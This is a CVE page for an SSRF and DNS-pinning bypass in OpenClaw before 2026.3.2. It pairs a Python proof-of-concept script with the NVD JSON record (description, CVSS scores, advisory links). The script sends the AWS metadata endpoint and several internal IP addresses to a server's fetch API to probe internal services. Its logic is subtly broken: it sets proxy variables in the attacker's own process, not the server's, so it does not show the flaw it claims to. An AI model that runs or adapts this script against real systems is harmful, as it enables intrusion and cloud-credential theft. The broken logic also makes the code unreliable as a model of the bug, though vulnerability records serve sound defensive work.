CVE-2026-22181

# CVE-2026-22181 PoC - DNS Pinning Bypass via Proxy Variables # Environment: Set HTTP_PROXY, HTTPS_PROXY, or ALL_PROXY environment variable # Target: OpenClaw < 2026.3.2 import requests import os # Set proxy environment variable (attacker-controlled proxy) os.environ['HTTP_PROXY'] = 'http://attacker-proxy:8080' os.environ['HTTPS_PROXY'] = 'http://attacker-proxy:8080' # Target OpenClaw instance target_url = 'http://target-openclaw-server/api/fetch' # Malicious URL that should be blocked by DNS pinning # but will be routed through proxy due to environment variable payload = { 'url': 'http://169.254.169.254/latest/meta-data/', # AWS metadata endpoint 'destination': 'internal-service' } # The request will bypass DNS pinning and route through proxy response = requests.post(target_url, json=payload) print(f"Status: {response.status_code}") print(f"Response: {response.text}") # Alternative: Internal network scanning via proxy internal_ips = ['10.0.0.1', '192.168.1.1', '172.16.0.1'] for ip in internal_ips: payload = { 'url': f'http://{ip}:8080/admin', 'destination': 'internal' } response = requests.post(target_url, json=payload) if response.status_code == 200: print(f"Found accessible internal service at {ip}")

{"cve": {"id": "CVE-2026-22181", "sourceIdentifier": "[email protected]", "published": "2026-03-18T02:16:22.800", "lastModified": "2026-03-25T15:16:36.967", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw versions prior to 2026.3.2 contain a DNS pinning bypass vulnerability in strict URL fetch paths that allows attackers to circumvent SSRF guards when environment proxy variables are configured. When HTTP_PROXY, HTTPS_PROXY, or ALL_PROXY environment variables are present, attacker-influenced URLs can be routed through proxy behavior instead of pinned-destination routing, enabling access to internal targets reachable from the proxy environment."}, {"lang": "es", "value": "Las versiones de OpenClaw anteriores a 2026.3.2 contienen una vulnerabilidad de omisión de fijación de DNS en rutas de obtención de URL estrictas que permite a los atacantes eludir las protecciones de SSRF cuando las variables de entorno de proxy están configuradas. Cuando las variables de entorno HTTP_PROXY, HTTPS_PROXY o ALL_PROXY están presentes, las URL influenciadas por el atacante pueden ser enrutadas a través del comportamiento del proxy en lugar del enrutamiento de destino fijado, lo que permite el acceso a objetivos internos accesibles desde el entorno del proxy."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 4.7}, {"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.3.2", "matchCriteriaId": "986EEC6C-F9E4-4B22-96D5-BBB98A4A738D"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/345abf0b2e0f43b0f229e96f252ebf56f1e5549e", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-8mvx-p2r9-r375", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-dns-pinning-bypass-via-environment-proxy-configuration-in-web-fetch", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}